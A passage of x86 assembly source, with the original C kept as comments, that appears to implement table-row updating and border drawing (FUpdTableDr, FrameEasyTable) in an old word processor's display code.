(fOverflowDrs && pdrTable->dyl > dylLimDr) ;PAUSE cmp [fOverflowDrs],0 jz UT960 ;PAUSE mov ax,[dylLimDr] cmp ax,[si.dylDr] jge UT960 ; pdrTable->dyl = dylLimDr; mov [si.dylDr],ax UT960: ; } LLoop5Cont: ; Win(fRMark |= pdrTable->fRMark;) ;PAUSE test [si.fRMarkDr],maskFRMarkDr je UT965 mov [fRMark],fTrue UT965: ; FreePdrf(&drfFetch); ; di = &drfFetch call LN_FreePdrf pop cx jcxz UT970 jmp short LLoop5Body ; } UT970: ; ick! Mac stuff ; if ( fLastRow ) ; Mac(vcbBmb = cbBmbSav); ; } /* end of if fSomeDrDirty */ LFinishTable: ; /* Now, clear out bits in edl not already drawn and draw cell ; /* borders. ; /**/ ; Assert(edl.dyp == dylNew); ;PAUSE ifdef DEBUG push ax push bx push cx push dx mov ax,[edl.dypEdl] cmp ax,[dylNew] je UT980 mov ax,midDisptbn2 mov bx,2324 cCall AssertProcForNative,<ax,bx> UT980: pop dx pop cx pop bx pop ax endif ; DEBUG ; FrameTable(ww,doc,caTapCur.cpFirst,hpldrTable, dylNew, fFirstRow, fLastRow ); push [ww] push [doc] push [caTapCur.HI_cpFirstCa] push [caTapCur.LO_cpFirstCa] push [hpldrTable] lea ax,[edl] push ax xor ax,ax mov al,[fFirstRow] push ax mov al,[fLastRow] push ax cCall FrameTable,<> ; /* update edl and pldrT to reflect what we have done */ ; edl.fDirty = edl.fTableDirty = fFalse; errnz <fDirtyEdl-fTableDirtyEdl> and [edl.fDirtyEdl],not (maskFDirtyEdl or maskFTableDirtyEdl) ; edl.dcp = cp - CpPlc(hplcedl,dlNew); push [hplcedl] push [dlNew] cCall CpPlc,<> mov bx,[OFF_cp] mov cx,[SEG_cp] sub bx,ax sbb cx,dx ; now, <bx,cx> = cp - CpPlc() mov [edl.LO_dcpEdl],bx mov [edl.HI_dcpEdl],cx ; ; /* because of the way borders and frame lines are drawn, ; /* a table row always depends on the next character ; /**/ ; edl.dcpDepend = 1; mov [edl.dcpDependEdl],1 ; ; PutPlc ( hplcedl, dlNew, &edl ); call LN_PutPlc ifdef WIN ifndef BOGUS ; if (fRMark) ; DrawTableRevBar(ww, idr, dlNew); ;PAUSE cmp [fRMark],0 jz UT990 push [ww] push [idr] push [dlNew] cCall DrawTableRevBar,<> UT990: else ; BOGUS ; if (vfRevBar) mov cx,[vfRevBar] jcxz UT1190 ; { ; int xwRevBar; ; ; if (!(pwwd = PwwdWw(ww))->fPageView) ;#define dxwSelBarSci vsci.dxwSelBar ;PAUSE push di ; save &drfFetch mov di,[vsci.dxwSelBarSci] ; store value is safe register sar di,1 ; for use later call LN_PwwdWw xchg ax,si test [si.fPageViewWwd],maskfPageViewWwd jnz UT1100 ; xwRevBar = pwwd->xwSelBar + dxwSelBarSci / 2; ; si = pwwd, di = [dxwSelBarSci]/2 mov ax,[si.xwSelBarWwd] jmp short UT1180 ; else ; { ; switch (PdodMother(doc)->dop.irmBar) UT1100: ; si = pwwd, di = [dxwSelBarSci]/2 push [doc] cCall N_PdodMother,<> xchg ax,bx mov al,[bx.dopDod.irmBarDop] errnz <irmBarLeft-1> dec al je UT1130 errnz <irmBarRight-irmBarLeft-1> dec al je UT1140 ; #ifdef DEBUG ; default: ; Assert(fFalse); ; /* fall through */ ; #endif ifdef DEBUG push ax push bx push cx push dx dec al je UT1110 mov ax,midDisptbn2 mov bx,2423 cCall AssertProcForNative,<ax,bx> UT1110: pop dx pop cx pop bx pop ax endif ; DEBUG ; { ; case irmBarOutside: ; if (vfmtss.pgn & 1) ; goto LRight; test [vfmtss.pgnFmtss],1 jnz UT1140 ; /* fall through */ ; case irmBarLeft: UT1130: ; xwRevBar = XwFromXp( hpldrTable, 0, edl.xpLeft ) ; - (dxwSelBarSci / 2); ; si = pwwd, di = [dxwSelBarSci]/2 neg di ; so that it will get subtracted db 0A8h ;turns next "stc" into "test al,immediate" ;also clears the carry flag ; break; ; case irmBarRight: ; LRight: ; xwRevBar = XwFromXp( hpldrTable, 0, edl.xpLeft + edl.dxp) ; + (dxwSelBarSci / 2); UT1140: stc mov ax,[edl.xpLeftEdl] jnc UT1150 add ax,[edl.dxpEdl] UT1150: push [hpldrTable] xor cx,cx push cx push ax cCall XwFromXp,<> ; break; ; } ; } ; DrawRevBar( PwwdWw(ww)->hdc, xwRevBar, ; YwFromYl(hpldrTable,0), dylNew); UT1180: ; ax + di = xwRevBar, si = pwwd add ax,di ; si = pwwd, ax = xwRevBar push [si.hdcWwd] ; some arguments push ax ; for DrawRevBar push [hpldrTable] xor ax,ax push ax cCall YwFromYl,<> push ax push [dylNew] cCall DrawRevBar,<> pop di ; restore &drfFetch UT1190: ; } endif ; BOGUS ; /* draw the style name area and border for a table row */ ; if (PwwdWw(ww)->xwSelBar) call LN_PwwdWw xchg ax,si mov cx,[si.xwSelBarWwd] jcxz UT1200 ; { ; DrawStyNameFromWwDl(ww, hpldr, idr, dlNew); ;PAUSE push [ww] push [hpldr] push [idr] push [dlNew] cCall DrawStyNameFromWwDl,<> ; } UT1200: endif ; WIN ; /* advance the caller's cp and ypTop */ ; *pcp = cp; mov bx,[pcp] mov ax,[OFF_cp] mov [bx],ax mov ax,[SEG_cp] mov [bx+2],ax ; *pypTop += dylNew; ; Assert(*pypTop == ypTop); ifdef DEBUG push ax push bx push cx push dx mov bx,[pypTop] mov ax,[bx] cmp ax,[ypTop] jz UT1210 mov ax,midDisptbn2 mov bx,2213 cCall AssertProcForNative,<ax,bx> UT1210: pop dx pop cx pop bx pop ax endif ; DEBUG mov bx,[pypTop] mov ax,[dylNew] add [bx],ax ; return fTrue; /* it worked! */ mov ax,fTrue ; } LExitUT: cEnd ; NATIVE NOTE: these are short cut routines used by FUpdateTable to ; reduce size of common calling seqeuences. ; upon entry: ax = dya ; upon exit: ax = dyp, + the usual registers trashed ; #define DypFromDya(dya) NMultDiv((dya), vfti.dypInch, czaInch) LN_DypFromDya: ;PAUSE push ax push [vfti.dypInchFti] mov ax,czaInch push ax cCall NMultDiv,<> ret ; upon entry: di = pdrf ; upon exit: the usual things munged LN_FreePdrf: push di ifdef DEBUG cCall S_FreePdrf,<> else cCall N_FreePdrf,<> endif ret ; LN_GetPlcTable = GetPlc(((DR*)si)->hplcedl, cx, &edlLast); ; LN_GetPlcParent = GetPlc(hplcedl, cx, ax); LN_GetPlcTable: lea ax,[edlLast] push [si.hplcedlDr] jmp short UT2000 LN_GetPlcParent: push [hplcedl] UT2000: push cx push ax cCall GetPlc,<> ret ; upon entry: si = pdrTable ; upon exit: ax = IMacPlc(pdrTable->hplcedl); ; plus the usual things munged LN_IMacPlcTable: mov ax,[si.hplcedlDr] ; upon entry: ax = hplcedl ; upon exit: ax = IMacPlc(pdrTable->hplcedl); ; plus the usual things munged LN_IMacPlc: push ax cCall IMacPlc,<> ret ; call this one for PdrFetch(hpldrTable, idrTable, &drfFetch); ; upon entry: di = &drfFetch ; upon exit: ax = old si value, si = pdr NOTE RETURN VALUE IN SI!!!! ; plus the usual things munged LN_PdrFetchTable: mov cx,[idrTable] ; call this one for PdrFetch(hpldrTable, ax, &drfFetch); ; upon entry: cx = idr, di = &drfFetch ; upon exit: ax = old si value, si = pdr NOTE RETURN VALUE IN SI!!!! ; plus the usual things munged LN_PdrFetch: push [hpldrTable] push cx push di ifdef DEBUG cCall S_PdrFetch,<> else cCall N_PdrFetch,<> endif xchg ax,si ret ; does PutPlc(hplcedl, dlNew, &edl) LN_PutPlc: push [hplcedl] push [dlNew] lea ax,[edl] push ax cCall PutPlc,<> ret ifndef DEBUG LN_PutPlcLast: cCall PutPlcLastProc,<> ret endif ; not DEBUG LN_PwwdWw: push [ww] cCall N_PwwdWw,<> ret LN_SetFCantGrow: ; pdrTable->fCantGrow = pdrTable->dyl >= dylLimDr && (fPageView || fAbsHgtRow); ; si = pdrTable and [si.fCantGrowDr],not maskFCantGrowDr ; assume fFalse mov ax,[si.dylDr] cmp ax,[dylLimDr] jl UT2050 ;PAUSE mov al,[fPageView] or al,[fAbsHgtRow] jz UT2050 ;PAUSE or [si.fCantGrowDr],maskFCantGrowDr ; assumption failed, fix it UT2050: ret LN_FUpdateOneDr: ; this is equivalent to: ; if ((al != 0) || !FUpdTableDr(ww, hpldrTable, cx=idrTable)) ; if (!FUpdateDr(ww,hpldrTable,cx,*(RC*)bx,fFalse,udmodTable,cpNil)) ; return fFalse; ; return fTrue; ; ; upon entry: ax = fTrue iff FUpdTableDr should be SKIPPED ; upon exit: ax = fTrue iff things worked, AND condition codes set accordingly ; ; if ((al != 0) || !FUpdTableDr(ww,hpldrTable,idrTable)) or al,al jnz UT2100 push bx ; save prc push cx ; save idrTable push [ww] push [hpldrTable] push cx ifdef DEBUG cCall S_FUpdTableDr,<> else call LN_FUpdTableDr endif pop cx ; recover idrTable pop bx ; recover prcwInval or ax,ax jnz UT2110 ; if (!FUpdateDr(ww,hpldrTable,idrTable,rcwTableInval,fFalse,udmodTable,cpNil)) UT2100: ;PAUSE push [ww] push [hpldrTable] push cx errnz <cbRcMin-8> push [bx+6] push [bx+4] push [bx+2] push [bx] xor ax,ax push ax errnz <udmodTable-2> inc ax inc ax push ax errnz <LO_CpNil+1> errnz <HI_CpNil+1> mov ax,LO_CpNil push ax push ax ifdef DEBUG cCall S_FUpdateDr,<> else cCall N_FUpdateDr,<> endif ; DEBUG UT2110: ifdef ENABLE ; /* FUTURE: this is bogus for windows, since DypHeightTc returns the height ; /* in printer units, not screen units. Further, it is questionable to call ; /* DypHeightTc without setting up vlm and vflm. ; /* ; /* Enable this next line to check that FUpdate table yields the same height ; /* as does DypHeightTc using the FormatLine and PHE's, slows down redrawing. ; /**/ ifdef DEBUG ; CacheTc(ww, doc, pdrTable->cpFirst, fFirstRow, fLastRow); ;PAUSE push ax push bx push cx push dx push [ww] push [doc] push [si.HI_cpFirstDr] push [si.LO_cpFirstDr] xor ax,ax mov al,[fFirstRow] push ax mov al,[fLastRow] push ax cCall CacheTc,<> ; Assert ( DypHeightTc(ww,doc,pdrTable->cpFirst) == pdrTable->dyl ); push [ww] push [doc] push [si.HI_cpFirstDr] push [si.LO_cpFirstDr] cCall DypHeightTc,<> cmp ax,[si.dylDr] je UT2120 mov ax,midDisptbn2 mov bx,2391 cCall AssertProcForNative,<ax,bx> UT2120: pop dx pop cx pop bx pop ax endif endif or ax,ax ret ;Did this DEBUG stuff with a call so as not to mess up short jumps. ; Assert(pdrT->doc == pdrTable->doc); ifdef DEBUG UT2130: push ax push bx push cx push dx mov cx,[si.docDr] cmp cx,[bx.docDr] jz UT2140 mov ax,midDisptbn2 mov bx,2869 cCall AssertProcForNative,<ax,bx> UT2140: pop dx pop cx pop bx pop ax ret endif ;DEBUG ; /* F U P D A T E T A B L E D R ; /* ; /* Description: Attempt to handle the most common table dr update ; /* in record time by simply calling FormatLine and DisplayFli. ; /* If simple checks show we have updated the entire DR, return ; /* fTrue, else record the EDL we wrote and return fFalse so that ; /* FUpdateDr() gets called to finish the job. ; /**/ ; %%Function:FUpdTableDr %%Owner:tomsax ; NATIVE FUpdTableDr(ww, hpldr, idr) ; int ww; ; struct PLDR **hpldr; ; int idr; ; { ; int dlMac; ; BOOL fSuccess, fOverflow; native note: fOverflow not necessary ; struct PLC **hplcedl; native note: won't be using this one ; struct DR *pdr; native note: register variable ; struct WWD *pwwd; ; struct EDL edl; ; struct DRF drf; ; ; register usage: ; si = pdr ; ifdef DEBUG cProc N_FUpdTableDr,<PUBLIC,FAR>,<si,di> else cProc LN_FUpdTableDr,<PUBLIC,NEAR>,<si,di> endif ParmW ww ParmW hpldr ParmW idr LocalW dlMac LocalW rgf ; first byte is fSuccess, second is fOverflow LocalW pwwd LocalV edl,cbEdlMin LocalV drf,cbDrfMin cBegin ; pdr = PdrFetch(hpldr, idr, &drf); ;PAUSE push [hpldr] push [idr] lea bx,[drf] push bx ifdef DEBUG cCall S_PdrFetch,<> else cCall N_PdrFetch,<> endif xchg ax,si ; fSuccess = fFalse; ; native note: di is used as a zero register xor di,di ; native note: fOverflow also initialized to zero errnz <fFalse> mov [rgf],di ; hplcedl = pdr->hplcedl; ; native note, forget this... ; Assert(hplcedl != hNil && (*hplcedl)->iMax > 1); ifdef DEBUG push ax push bx push cx push dx cmp [si.hplcedlDr],hNil jz UTD010 mov bx,[si.hplcedlDr] mov bx,[bx] cmp [bx.iMaxPlc],1 jg UTD020 UTD010: mov ax,midDisptbn2 mov bx,2809 cCall AssertProcForNative,<ax,bx> UTD020: pop dx pop cx pop bx pop ax endif ; DEBUG ; if ((dlMac = IMacPlc(hplcedl)) > 0) ; di = 0 mov bx,[si.hplcedlDr] mov bx,[bx] cmp [bx.iMacPlcSTR],di jle UTD040 ; { ; GetPlc(hplcedl, 0, &edl); ;PAUSE ; di = 0 push [si.hplcedlDr] push di ; 0 lea ax,[edl] push ax cCall GetPlc,<> ; Assert(edl.hpldr == hNil); /* no need to FreeEdl */ ifdef DEBUG push ax push bx push cx push dx cmp [edl.hpldrEdl],hNil je UTD030 mov ax,midDisptbn2 mov bx,2839 cCall AssertProcForNative,<ax,bx> UTD030: pop dx pop cx pop bx pop ax endif ; DEBUG ; if (!edl.fDirty) ; goto LRet; test [edl.fDirtyEdl],maskFDirtyEdl jnz UTD040 ;PAUSE UTDTemp: jmp LExitUTD ; } UTD040: ; FormatLineDr(ww, pdr->cpFirst, pdr); ; di = 0 push [ww] push [si.HI_cpFirstDr] push [si.LO_cpFirstDr] push si ifdef DEBUG cCall S_FormatDrLine,<> else cCall N_FormatDrLine,<> endif ; /* cache can be blown by FormatLine */ ; CpFirstTap(pdr->doc, pdr->cpFirst); ; di = 0 push [si.docDr] push [si.HI_cpFirstDr] push [si.LO_cpFirstDr] cCall CpFirstTap,<> ; pwwd = PwwdWw(ww); /* verbose for native compiler bug */ ; fOverflow = vfli.dypLine > pdr->dyl; ; native note: not a problem here! wait till we need it to compute it ; same for fOverflow ; if (fSuccess = vfli.fSplatBreak ; fSuccess set to false above... ; di = 0 test [vfli.fSplatBreakFli],maskFSplatBreakFli jz UTDTemp ; && vfli.chBreak == chTable ;PAUSE cmp [vfli.chBreakFli],chTable jne UTDTemp ; && (!fOverflow ;PAUSE mov cx,[vfli.dypLineFli] cmp cx,[si.dylDr] jle UTD060 errnz <maskFDirtyDr-1> inc bptr [rgf+1] ; sleazy bit trick, fill in the bit we want ; || idr == vtapFetch.itcMac ;PAUSE mov ax,[idr] cmp ax,[vtapFetch.itcMacTap] je UTD060 ; || YwFromYp(hpldr,idr,pdr->dyl) >= pwwd->rcwDisp.ywBottom)) ;PAUSE ; di = 0 push [ww] cCall N_PwwdWw,<> push ax ; we'll want this in a second here... push [hpldr] push [idr] push [si.dylDr] cCall YwFromYp,<> pop bx ; recover pwwd from above cmp ax,[bx.rcwDispWwd.ywBottomRc] jl LExitUTD ;PAUSE UTD060: errnz <fTrue-1> inc bptr [rgf] ; fSuccess = fTrue ** we win!!! ; { ; DisplayFli(ww, hpldr, idr, 0, vfli.dypLine); ; di = 0 push [ww] push [hpldr] push [idr] push di push [vfli.dypLineFli] ifdef DEBUG cCall S_DisplayFli,<> else cCall N_DisplayFli,<> endif ; pdr->dyl = vfli.dypLine; mov ax,[vfli.dypLineFli] mov [si.dylDr],ax ; pdr->fDirty = fOverflow; and [si.fDirtyDr],not maskFDirtyDr mov al,bptr [rgf+1] or [si.fDirtyDr],al ; pdr->fRMark = vfli.fRMark; ;PAUSE and [si.fRMarkDr],not maskFRMarkDr test [vfli.fRMarkFli],maskFRMarkFli je UTD070 or [si.fRMarkDr],maskFRMarkDr UTD070: ; DlkFromVfli(hplcedl, 0); ; PutCpPlc(hplcedl, 1, vfli.cpMac); ; PutIMacPlc(hplcedl, 1); ;PAUSE ; di = 0 mov bx,[si.hplcedlDr] ; arguments push bx inc di ; == 1 push di ; PutIMacPlc push bx ; arguments for push di ; PutCpPlc push [vfli.HI_cpMacFli] push [vfli.LO_cpMacFli] push bx dec di push di cCall DlkFromVfli,<> cCall PutCpPlc,<> cCall PutIMacPlc,<> ; } ; LRet: LExitUTD: ; FreePdrf(&drf); lea ax,[drf] push ax ifdef DEBUG cCall S_FreePdrf,<> else cCall N_FreePdrf,<> endif ; return fSuccess; mov al,bptr [rgf] cbw ; } cEnd ; /* F R A M E E A S Y T A B L E ; /* Description: Under certain (common) circumstances, it is possible ; /* to draw the table borders without going through all of the hoops ; /* to correctly join borders at corners. This routines handles those ; /* cases. ; /* ; /* Also uses info in caTap, vtapFetch and vtcc (itc = 0 cached). ; /**/ ; int ww; ; struct PLDR **hpldr; ; struct DR *pdrParent; ; int dyl; ; BOOL fFrameLines, fDrFrameLines, fFirstRow, fLastRow; ; HANDNATIVE C_FrameEasyTable(ww, doc, cp, hpldr, prclDrawn, pdrParent, dyl, fFrameLines, fDrFrameLines, fFirstRow, fLastRow) ; %%Function:FrameEasyTable %%Owner:tomsax cProc N_FrameEasyTable,<PUBLIC,FAR>,<si,di> ParmW <ww, doc> ParmD cp ParmW <hpldr, prclDrawn, pdrParent, dyl> ParmW <fFrameLines, fDrFrameLines, fFirstRow, fLastRow> ; { ; int dxwBrcLeft, dxwBrcRight, dxwBrcInside, dywBrcTop, dywBrcBottom; LocalW <dxwBrcLeft,dxwBrcRight,dxwBrcInside,dywBrcTop,dywBrcBottom> ; int dxLToW, dyLToW; LocalW <dxLToW, dyLToW> ; int xwLeft, xwRight, dylDrRow, dylDrRowM1, ywTop; ; native note: dylDrRowM1 used only in Mac version LocalW <xwLeft, xwRight, dylDrRow, ywTop> ; int itc, itcNext, itcMac; LocalW <itc, itcNext, itcMac> ; int brcCur; LocalW brcCur ; BOOL fRestorePen, fBottomFrameLine; LocalW <fRestorePen, fBottomFrameLine> ; struct DR *pdr; ; native note: registerized ; struct RC rclErase, rcw; LocalV rclErase,cbRcMin LocalV rcw,cbRcMin ; struct TCX tcx; LocalV tcx,cbTcxMin ; struct DRF drf; LocalV drf,cbDrfMin ; #ifdef WIN ; HDC hdc = PwwdWw(ww)->hdc; LocalW hdc ; struct RC rcDraw, rcwClip; LocalV rcDraw,cbRcMin LocalV rcwClip,cbRcMin ; int xwT, ywT; ; native note: registerized ; struct WWD *pwwd = PwwdWw(ww); ; native note: registerized cBegin ;PAUSE ; native note: do auto initializations... call LN_PwwdWwFET mov ax,[bx.hdcWwd] mov [hdc],ax ; ; if (pwwd->fPageView) ; bx = pwwd lea di,[rcwClip] test [bx.fPageViewWwd],maskFPageViewWwd jz FET010 ; RcwPgvTableClip(ww, (*hpldr)->hpldrBack, (*hpldr)->idrBack, &rcwClip); ;PAUSE ; di = &rcwClip push [ww] mov bx,[hpldr] mov bx,[bx] push [bx.hpldrBackPldr] push [bx.idrBackPldr] push di cCall RcwPgvTableClip,<> jmp short FET020 ; else ; rcwClip = pwwd->rcwDisp; FET010: ; bx = pwwd, di = &rcwClip lea si,[bx.rcwDispWwd] push ds pop es errnz <cbRcMin-8> movsw movsw movsw movsw FET020: ; #endif ; ; Assert(FInCa(doc, cp, &vtcc.ca)); ; Assert(vtcc.itc == 0); ; Assert(dyl > 0); ;PAUSE ifdef DEBUG push ax push bx push cx push dx push [doc] push [SEG_cp] push [OFF_cp] mov ax,dataoffset [vtcc.caTcc] push ax cCall FInCa,<> or ax,ax mov bx,3088 ; assert line number jz FET030 cmp [vtcc.itcTcc],0 mov bx,3092 ; assert line number jnz FET030 mov ax,[dyl] or ax,ax jg FET035 mov bx,3097 ; assert line number FET030: mov ax,midDisptbn2 cCall AssertProcForNative,<ax,bx> FET035: pop dx pop cx pop bx pop ax endif ;DEBUG ; native note: we clear fRestorePen here so we don't have it clear ; it every time through the loops. xor ax,ax mov [fRestorePen],ax ; dxLToW = XwFromXl(hpldr, 0); ; dyLToW = YwFromYl(hpldr, 0); ; ax = 0 push [hpldr] ; arguments push ax ; for YwFromYl push [hpldr] ; arguments push ax ; for XwFromXl cCall XwFromXl,<> mov [dxLToW],ax cCall YwFromYl,<> mov [dyLToW],ax ; ; LN_DxFromIbrc Does: ; DxFromBrc(*(int*)(si + rgbrcEasyTcc + bx), fFrameLines) lea si,[vtcc] ; dxwBrcLeft = DxFromBrc(vtcc.rgbrcEasy[ibrcLeft],fTrue/*fFrameLines*/); mov bx,ibrcLeft SHL 1 call LN_DxFromIbrc mov [dxwBrcLeft],ax ; dxwBrcRight = DxFromBrc(vtcc.rgbrcEasy[ibrcRight],fTrue/*fFrameLines*/); mov bx,ibrcRight SHL 1 call LN_DxFromIbrc mov [dxwBrcRight],ax ; dxwBrcInside = DxFromBrc(vtcc.rgbrcEasy[ibrcInside],fTrue/*fFrameLines*/); mov bx,ibrcInside SHL 1 call LN_DxFromIbrc mov [dxwBrcInside],ax ; dywBrcTop = vtcc.dylAbove; ; dywBrcBottom = vtcc.dylBelow; ; si = &vtcc mov ax,[si.dylAboveTcc] mov [dywBrcTop],ax mov cx,[si.dylBelowTcc] mov [dywBrcBottom],cx ; leave si = &vtcc, ax = dywBrcTop, cx = dywBrcBottom ; ; Assert(dywBrcTop == DyFromBrc(vtcc.rgbrcEasy[ibrcTop],fFalse/*fFrameLines*/)); ; Assert(dywBrcBottom == (fLastRow ? DyFromBrc(vtcc.rgbrcEasy[ibrcBottom],fFalse/*fFrameLines*/) : 0)); ; #define DyFromBrc(brc, fFrameLines) DxyFromBrc(brc, fFrameLines, fFalse) ; #define DxyFromBrc(brc, fFrameLines, fWidth) \ ; WidthHeightFromBrc(brc, fFrameLines | (fWidth << 1)) ifdef DEBUG ; si = &vtcc, ax = dywBrcTop, cx = dywBrcBottom push ax push bx push cx push dx mov bx,ibrcTop SHL 1 push [bx.si.rgbrcEasyTcc] xor ax,ax push ax ifdef DEBUG cCall S_WidthHeightFromBrc,<> else cCall N_WidthHeightFromBrc,<> endif cmp ax,[dywBrcTop] mov bx,3158 ; assert line number jne FET040 mov cx,[fLastRow] jcxz FET050 ;PAUSE mov bx,ibrcBottom SHL 1 push [bx.si.rgbrcEasyTcc] xor ax,ax push ax ifdef DEBUG cCall S_WidthHeightFromBrc,<> else cCall N_WidthHeightFromBrc,<> endif cmp ax,[dywBrcBottom] mov bx,3171 ; assert line number je FET050 FET040: mov ax,midDisptbn2 cCall AssertProcForNative,<ax,bx> FET050: pop dx pop cx pop bx pop ax endif ;DEBUG ; ; ywTop = dyLToW + dywBrcTop; ; si = &vtcc, ax = dywBrcTop, cx = dywBrcBottom mov dx,ax add dx,[dyLToW] mov [ywTop],dx ; dylDrRow = dyl - dywBrcTop - dywBrcBottom; add cx,ax mov ax,[dyl] sub ax,cx mov [dylDrRow],ax ; dylDrRowM1 = dylDrRow - 1; naitve note: needed only in Mac version ; itcMac = vtapFetch.itcMac; mov ax,[vtapFetch.itcMacTap] mov [itcMac],ax ; /* erase bits to the left of the PLDR */ lea di,[rclErase] push ds pop es ; rclErase.xlLeft = - pdrParent->dxpOutLeft; errnz <xlLeftRc> mov bx,[pdrParent] mov ax,[bx.dxpOutLeftDr] neg ax stosw ; rclErase.ylTop = 0; errnz <ylTopRc-2-xlLeftRc> xor ax,ax stosw ; rclErase.xlRight = vtcc.xpDrLeft - vtcc.dxpOutLeft - dxwBrcLeft; errnz <xlRightRc-2-ylTopRc> mov ax,[si.xpDrLeftTcc] sub ax,[si.dxpOutLeftTcc] sub ax,[dxwBrcLeft] stosw xchg ax,cx ; stash for later ; rclErase.ylBottom = dyl; errnz <ylBottomRc-2-xlRightRc> mov ax,[dyl] stosw ; xwLeft = rclErase.xlRight + dxLToW; /* will be handy later */ ; si = &vtcc, cx = rclErase.xlRight add cx,[dxLToW] mov [xwLeft],cx ; if (!FEmptyRc(&rclErase)) ; ClearRclInParentDr(ww,hpldr,rclErase,&rcwClip); call LN_ClearRclIfNotMT ; PenNormal(); ; #define PenNormal() /* some bogus Mac thing... */ ; /* the left border */ ; SetPenForBrc(ww, brcCur = vtcc.rgbrcEasy[ibrcLeft], fFalse/*fHoriz*/, fFrameLines); ;PAUSE mov bx,ibrcLeft SHL 1 call LN_SetPenBrcV ; #ifdef MAC ; MoveTo(xwLeft, ywTop); ; Line(0, dylDrRowM1); ; #else /* WIN */ ; PrcSet(&rcDraw, xwLeft, ywTop, ; xwLeft + dxpPenBrc, ywTop + dylDrRow); ; SectRc(&rcDraw, &rcwClip, &rcDraw); ; FillRect(hdc, (LPRECT)&rcDraw, hbrPenBrc); mov ax,[xwLeft] push ax mov cx,[ywTop] push cx add ax,[dxpPenBrc] push ax add cx,[dylDrRow] push cx call LN_SetSectAndFillRect ; #endif ; /* the inside borders */ ; itc = 0; ; itcNext = ItcGetTcxCache ( ww, doc, cp, &vtapFetch, itc, &tcx); xor cx,cx call LN_ItcGetTcxCache ; /* pre-compute loop invariant */ ; fBottomFrameLine = fLastRow && fFrameLines && dywBrcBottom == 0; mov cx,[fLastRow] jcxz FET055 ;PAUSE mov cx,[fFrameLines] jcxz FET055 ; cx = 0 xor cx,cx cmp [dywBrcBottom],cx jnz FET055 errnz <fTrue-1> ;PAUSE inc cx FET055: mov [fBottomFrameLine],cx ; ; ; if (itcNext >= itcMac) mov cx,[itcNext] cmp cx,[itcMac] jl FET060 ; { ; /* BEWARE the case of a single cell row, we have to hack things ; /* up a bit to avoid trying to draw a between border. ; /**/ ; if (brcCur != brcNone) ;PAUSE errnz <brcNone> mov cx,[brcCur] jcxz FET080 ; SetPenForBrc(ww, brcCur = brcNone, fFalse/*fHoriz*/, fFrameLines); call LN_SetPenBrcVNone jmp short FET080 ; } ; else if (brcCur != brcNone || brcCur != vtcc.rgbrcEasy[ibrcInside]) ; SetPenForBrc(ww, brcCur = vtcc.rgbrcEasy[ibrcInside], fFalse/*fHoriz*/, fFrameLines); FET060: ;PAUSE mov bx,ibrcInside SHL 1 call LN_ChkSetPenBrcV FET080: ; for ( ; ; ) ; { LInsideLoop: ifdef DEBUG push ax push bx push cx push dx cmp [fRestorePen],0 je FET085 mov ax,midDisptbn2 mov bx,3414 ; assert line number cCall AssertProcForNative,<ax,bx> FET085: pop dx pop cx pop bx pop ax endif ;DEBUG ;PAUSE ; pdr = PdrFetchAndFree(hpldr, itc, &drf); push [hpldr] push [itc] lea ax,[drf] push ax ifdef DEBUG cCall S_PdrFetchAndFree,<> else cCall N_PdrFetchAndFree,<> endif ; DEBUG xchg ax,si ; if (pdr->dyl < dylDrRow) ; si = pdr mov ax,[dylDrRow] cmp ax,[si.dylDr] jg FET087 jmp FET120 FET087: ; { ; DrclToRcw(hpldr, &pdr->drcl, &rcw); ;PAUSE ; si = pdr lea di,[rcw] push [hpldr] errnz <drclDr> push si push di cCall DrclToRcw,<> ; native note: these next four lines rearranged for efficiency... ; si = pdr, di = &rcw push ds pop es ; rcw.xwLeft -= pdr->dxpOutLeft; errnz <xwLeftRc> mov ax,[di] sub ax,[si.dxpOutLeftDr] stosw ; rcw.ywTop += pdr->dyl; errnz <ywTopRc-2-xwLeftRc> mov ax,[di] add ax,[si.dylDr] stosw ; rcw.xwRight += pdr->dxpOutRight; errnz <xwRightRc-2-ywTopRc> mov ax,[di] add ax,[si.dxpOutRightDr] stosw ; rcw.ywBottom += dylDrRow - pdr->dyl; errnz <ywBottomRc-2-xwRightRc> mov ax,[di] add ax,[dylDrRow] sub ax,[si.dylDr] stosw ; #ifdef WIN ; SectRc(&rcw, &rcwClip, &rcw); sub di,cbRcMin push di lea ax,[rcwClip] push ax push di ; #define SectRc(prc1,prc2,prcDest) FSectRc(prc1,prc2,prcDest) cCall FSectRc,<> ; #endif ; if (fBottomFrameLine) mov cx,[fBottomFrameLine] jcxz FET110 ; { ; --rcw.ywBottom; ; si = pdr, di = &rcw dec [di.ywBottomRc] ; if (fRestorePen = brcCur != brcNone) ; native note: fRestorePen was cleared above, ; so we only have to clear it if we set it mov cx,[brcCur] jcxz FET090 ;PAUSE ; SetPenForBrc(ww, brcCur = brcNone, fFalse/*fHoriz*/, fFrameLines); call LN_SetPenBrcVNone inc [fRestorePen] FET090: ; #ifdef MAC ; MoveTo(rcw.xwLeft,rcw.ywBottom); ; LineTo(rcw.xwRight-1,rcw.ywBottom); ; #else /* WIN */ ; FillRect(hdc, (LPRECT)PrcSet(&rcDraw, ; rcw.xwLeft, rcw.ywBottom, ; rcw.xwRight, rcw.ywBottom + dypPenBrc), ; hbrPenBrc); ; si = pdr, di = &rcw push [rcw.xwLeftRc] mov ax,[rcw.ywBottomRc] push ax push [rcw.xwRightRc] add ax,[dypPenBrc] push ax call LN_SetAndFillRect ; #endif ; if (fRestorePen) ; si = pdr, di = &rcw mov cx,[fRestorePen] jcxz FET100 ; SetPenForBrc(ww, brcCur = vtcc.rgbrcEasy[ibrcInside], fFalse/*fHoriz*/, fFrameLines); ;PAUSE mov bx,ibrcInside SHL 1 call LN_SetPenBrcV dec [fRestorePen] ; clear fRestorePen ; native note: Assert(fRestorePen == fFalse); FET100: ; if (rcw.ywTop >= rcw.ywBottom) ; goto LCheckItc; ; si = pdr, di = &rcw mov ax,[rcw.ywTopRc] cmp ax,[rcw.ywBottomRc] jge LCheckItc FET110: ; } ; EraseRc(ww, &rcw); ; si = pdr, di = &rcw ; #define EraseRc(ww, _prc) \ ; PatBltRc(PwwdWw(ww)->hdc, (_prc), vsci.ropErase) call LN_PwwdWwFET push [bx.hdcWwd] push di push [vsci.HI_ropEraseSci] push [vsci.LO_ropEraseSci] cCall PatBltRc,<> FET120: ; } LCheckItc: ; if (itcNext == itcMac) ; break; mov ax,[itcNext] cmp ax,[itcMac] je FET130 ; #ifdef MAC ; MoveTo(tcx.xpDrRight + tcx.dxpOutRight + dxLToW, ywTop); ; Line(0, dylDrRowM1); ; #else /* WIN */ ; xwT = tcx.xpDrRight + tcx.dxpOutRight 